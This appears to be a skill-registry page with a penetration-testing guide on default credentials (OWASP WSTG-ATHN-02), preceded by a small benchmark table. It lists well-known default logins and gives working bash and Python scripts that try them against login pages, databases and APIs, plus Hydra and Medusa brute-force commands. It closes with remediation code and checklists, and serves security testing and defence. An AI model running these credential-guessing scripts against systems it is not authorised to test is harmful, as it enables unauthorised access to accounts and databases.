Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Testing for Default Credentials
| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-04 | ✓→✗ | ▼ Worse | 227% | 0% |
| case-03 | ✓→✓ | = Same ✓ | 185% | 0% |
| case-05 | ✓→✓ | = Same ✓ | 356% | 0% |
| case-06 | ✓→✓ | = Same ✓ | 172% | 0% |
| case-07 | ✓→✓ | = Same ✓ | 381% | 0% |
WSTG-ATHN-02
Testing for Default Credentials
Many applications, devices, and services ship with default or well-known credentials that administrators often forget to change. Attackers can easily find these credentials through documentation, online databases, or simple guessing. This test identifies systems using default credentials that could allow unauthorized access.
| Application | Username | Password | | ------------- | ------------- | ---------------------- | | Tomcat | admin, tomcat | admin, tomcat, s3cret | | Jenkins | admin | admin (or no password) | | WordPress | admin | admin | | Joomla | admin | admin | | MySQL | root | (empty), root, mysql | | PostgreSQL | postgres | postgres | | MongoDB | admin | (no auth by default) | | Redis | - | (no auth by default) | | Elasticsearch | elastic | changeme |
bash# Fingerprint the application curl -sI "https://target.com" | grep -i "server\|x-powered-by" # Check common paths for admin panels paths=( "/admin" "/administrator" "/wp-admin" "/manager" "/phpmyadmin" "/console" "/login" ) for path in "${paths[@]}"; do status=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com$path") if [ "$status" != "404" ]; then echo "$path: $status" fi done
bash#!/bin/bash TARGET=$1 LOGIN_ENDPOINT=${2:-"/login"} # Common default credential pairs declare -A credentials=( ["admin"]="admin password admin123 123456 administrator" ["root"]="root toor password 123456" ["user"]="user password user123" ["test"]="test test123 password" ["guest"]="guest guest123" ["administrator"]="administrator admin Admin123" ) echo "Testing default credentials on $TARGET$LOGIN_ENDPOINT" for username in "${!credentials[@]}"; do for password in ${credentials[$username]}; do response=$(curl -s -X POST "$TARGET$LOGIN_ENDPOINT" \ -H "Content-Type: application/json" \ -d "{\"username\":\"$username\",\"password\":\"$password\"}" \ -w "\n%{http_code}") status=$(echo "$response" | tail -1) body=$(echo "$response" | head -n -1) # Check for success indicators if [ "$status" == "200" ] && ! echo "$body" | grep -qi "invalid\|error\|fail"; then echo "[SUCCESS] $username:$password" fi done done
bash# Tomcat Manager curl -u admin:admin "https://target.com/manager/html" -s -o /dev/null -w "%{http_code}" curl -u tomcat:tomcat "https://target.com/manager/html" -s -o /dev/null -w "%{http_code}" curl -u admin:s3cret "https://target.com/manager/html" -s -o /dev/null -w "%{http_code}" # Jenkins curl -u admin:admin "https://target.com/jenkins/" -s -o /dev/null -w "%{http_code}" # WordPress curl -X POST "https://target.com/wp-login.php" \ -d "log=admin&pwd=admin&wp-submit=Log+In" \ -s -o /dev/null -w "%{http_code}" # phpMyAdmin curl -X POST "https://target.com/phpmyadmin/" \ -d "pma_username=root&pma_password=&server=1" \ -s -o /dev/null -w "%{http_code}"
bash# MySQL mysql -h target.com -u root -p'' -e "SELECT 1" 2>/dev/null && echo "MySQL: root with empty password" mysql -h target.com -u root -proot -e "SELECT 1" 2>/dev/null && echo "MySQL: root:root" # PostgreSQL PGPASSWORD=postgres psql -h target.com -U postgres -c "SELECT 1" 2>/dev/null && echo "PostgreSQL: postgres:postgres" # MongoDB (no auth) mongosh "mongodb://target.com:27017" --eval "db.adminCommand('listDatabases')" 2>/dev/null && echo "MongoDB: No auth required" # Redis (no auth) redis-cli -h target.com PING 2>/dev/null && echo "Redis: No auth required"
bash# Test common API keys/tokens tokens=( "admin" "test" "api_key" "secret" "12345" "default" ) for token in "${tokens[@]}"; do response=$(curl -s -H "Authorization: Bearer $token" \ "https://target.com/api/v1/user" \ -w "\n%{http_code}") status=$(echo "$response" | tail -1) if [ "$status" == "200" ]; then echo "[VULN] API accepts token: $token" fi # Also try as API key response=$(curl -s -H "X-API-Key: $token" \ "https://target.com/api/v1/user" \ -w "\n%{http_code}") status=$(echo "$response" | tail -1) if [ "$status" == "200" ]; then echo "[VULN] API accepts X-API-Key: $token" fi done
bash# Use online databases # https://cirt.net/passwords # https://github.com/danielmiessler/SecLists/tree/master/Passwords/Default-Credentials # Example: Cisco devices curl -u admin:admin "https://target.com/admin" -s -o /dev/null -w "%{http_code}" curl -u cisco:cisco "https://target.com/admin" -s -o /dev/null -w "%{http_code}" # Example: Network devices curl -u admin:1234 "https://target.com" -s -o /dev/null -w "%{http_code}" curl -u admin:password "https://target.com" -s -o /dev/null -w "%{http_code}"
| Tool | Description | Usage | | ---------- | --------------------- | --------------------------------------------------- | | Hydra | Password cracker | hydra -L users.txt -P pass.txt target http-post | | Medusa | Parallel brute-forcer | medusa -h target -U users.txt -P pass.txt -M http | | Ncrack | Network auth cracker | ncrack target -U users.txt -P pass.txt |
| Resource | Description | | ---------------- | ----------------------------- | | SecLists | Default credentials lists | | CIRT.net | Default password database | | DefaultCreds | Default credential repository |
python#!/usr/bin/env python3 import requests import json class DefaultCredsTester: # Comprehensive default credentials database DEFAULT_CREDS = { "generic": [ ("admin", "admin"), ("admin", "password"), ("admin", "123456"), ("admin", "admin123"), ("administrator", "administrator"), ("root", "root"), ("root", "toor"), ("user", "user"), ("test", "test"), ("guest", "guest"), ], "tomcat": [ ("admin", "admin"), ("tomcat", "tomcat"), ("admin", "s3cret"), ("manager", "manager"), ("role1", "role1"), ], "jenkins": [ ("admin", "admin"), ("admin", "password"), ("admin", ""), ], "wordpress": [ ("admin", "admin"), ("admin", "password"), ("admin", "wp-admin"), ], "joomla": [ ("admin", "admin"), ("admin", "password"), ], "mysql": [ ("root", ""), ("root", "root"), ("root", "mysql"), ("root", "password"), ], "postgresql": [ ("postgres", "postgres"), ("postgres", "password"), ], "mongodb": [ ("admin", "admin"), ("root", "root"), ], } def __init__(self, target_url): self.target = target_url self.session = requests.Session() self.results = [] def test_http_basic(self, path, creds): """Test HTTP Basic authentication""" for username, password in creds: try: response = self.session.get( f"{self.target}{path}", auth=(username, password), timeout=10 ) if response.status_code == 200: self.results.append({ "type": "HTTP Basic", "path": path, "username": username, "password": password, "status": "SUCCESS" }) return True except requests.exceptions.RequestException: pass return False def test_form_login(self, path, creds, username_field="username", password_field="password"): """Test form-based login""" for username, password in creds: try: response = self.session.post( f"{self.target}{path}", data={ username_field: username, password_field: password }, allow_redirects=False, timeout=10 ) # Check for success indicators if response.status_code in [200, 302]: # Check if login succeeded if "dashboard" in response.headers.get("Location", "").lower() or \ "invalid" not in response.text.lower(): self.results.append({ "type": "Form Login", "path": path, "username": username, "password": password, "status": "POSSIBLE SUCCESS" }) except requests.exceptions.RequestException: pass def test_json_login(self, path, creds): """Test JSON API login""" for username, password in creds: try: response = self.session.post( f"{self.target}{path}", json={"username": username, "password": password}, timeout=10 ) if response.status_code == 200: try: data = response.json() if "token" in data or "success" in data: self.results.append({ "type": "API Login", "path": path, "username": username, "password": password, "status": "SUCCESS" }) except: pass except requests.exceptions.RequestException: pass def run_tests(self): """Run all default credential tests""" print(f"Testing default credentials on {self.target}") # Test common paths paths = { "/manager/html": ("tomcat", "HTTP Basic"), "/admin": ("generic", "Form"), "/login": ("generic", "Form"), "/api/login": ("generic", "JSON"), "/wp-login.php": ("wordpress", "Form"), "/administrator": ("joomla", "Form"), } for path, (cred_type, auth_type) in paths.items(): creds = self.DEFAULT_CREDS.get(cred_type, self.DEFAULT_CREDS["generic"]) print(f"Testing {path} ({auth_type})...") if auth_type == "HTTP Basic": self.test_http_basic(path, creds) elif auth_type == "Form": self.test_form_login(path, creds) elif auth_type == "JSON": self.test_json_login(path, creds) return self.results def print_results(self): """Print test results""" print("\n=== DEFAULT CREDENTIALS TEST RESULTS ===\n") if self.results: print("[!] POTENTIAL VULNERABILITIES FOUND:\n") for result in self.results: print(f" Type: {result['type']}") print(f" Path: {result['path']}") print(f" Credentials: {result['username']}:{result['password']}") print(f" Status: {result['status']}") print() else: print("[+] No default credentials found") # Usage tester = DefaultCredsTester("https://target.com") tester.run_tests() tester.print_results()
pythonfrom flask import redirect, url_for, session @app.before_request def check_password_change(): if current_user.is_authenticated: if current_user.must_change_password: if request.endpoint not in ['change_password', 'logout', 'static']: return redirect(url_for('change_password')) @app.route('/change-password', methods=['GET', 'POST']) @login_required def change_password(): if request.method == 'POST': new_password = request.form['new_password'] # Validate password strength if not is_strong_password(new_password): flash('Password does not meet requirements') return render_template('change_password.html') # Check it's not the default password if new_password in DEFAULT_PASSWORDS: flash('Cannot use a common default password') return render_template('change_password.html') current_user.set_password(new_password) current_user.must_change_password = False db.session.commit() return redirect(url_for('dashboard')) return render_template('change_password.html')
sql-- Remove default accounts from database DELETE FROM users WHERE username IN ('admin', 'test', 'guest', 'demo'); -- Or disable them UPDATE users SET active = false WHERE username IN ('admin', 'test', 'guest');
pythonDEFAULT_PASSWORDS = { 'admin', 'password', '123456', 'admin123', 'root', 'toor', 'test', 'guest' } def check_default_password(password): """Check if password is a known default""" return password.lower() in DEFAULT_PASSWORDS @app.route('/login', methods=['POST']) def login(): username = request.form['username'] password = request.form['password'] user = User.query.filter_by(username=username).first() if user and user.check_password(password): if check_default_password(password): # Log security event log_security_event('default_password_login', username) # Force password change session['must_change_password'] = True login_user(user) return redirect(url_for('dashboard')) return 'Invalid credentials', 401
markdown## Post-Installation Security Checklist 1. [ ] Change all default passwords 2. [ ] Remove or disable default accounts 3. [ ] Disable installation/setup pages 4. [ ] Remove default API keys/tokens 5. [ ] Change database default credentials 6. [ ] Update default encryption keys 7. [ ] Review and change default configurations 8. [ ] Remove sample/demo content 9. [ ] Disable debug modes 10. [ ] Enable logging and monitoring
| Finding | CVSS | Severity | | ------------------------------------- | ---- | -------- | | Admin access with default credentials | 9.8 | Critical | | Database with default/no password | 9.8 | Critical | | Application default account active | 8.8 | High | | Default API key accepted | 8.8 | High |
Attack Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
| CWE ID | Title | Description | | ------------ | ----------------------------- | ------------------------- | | CWE-1392 | Use of Default Credentials | Default username/password | | CWE-798 | Use of Hard-coded Credentials | Embedded credentials | | CWE-287 | Improper Authentication | Authentication bypass |
[ ] Application technology identified
[ ] Admin panel locations found
[ ] Generic default credentials tested
[ ] Technology-specific defaults tested
[ ] Database default credentials tested
[ ] API default tokens tested
[ ] Third-party component defaults tested
[ ] Vendor documentation reviewed
[ ] Online credential databases checked
[ ] All findings documented
[ ] Remediation recommendations providedOther measured skills in the registry, with their headline benchmark lift.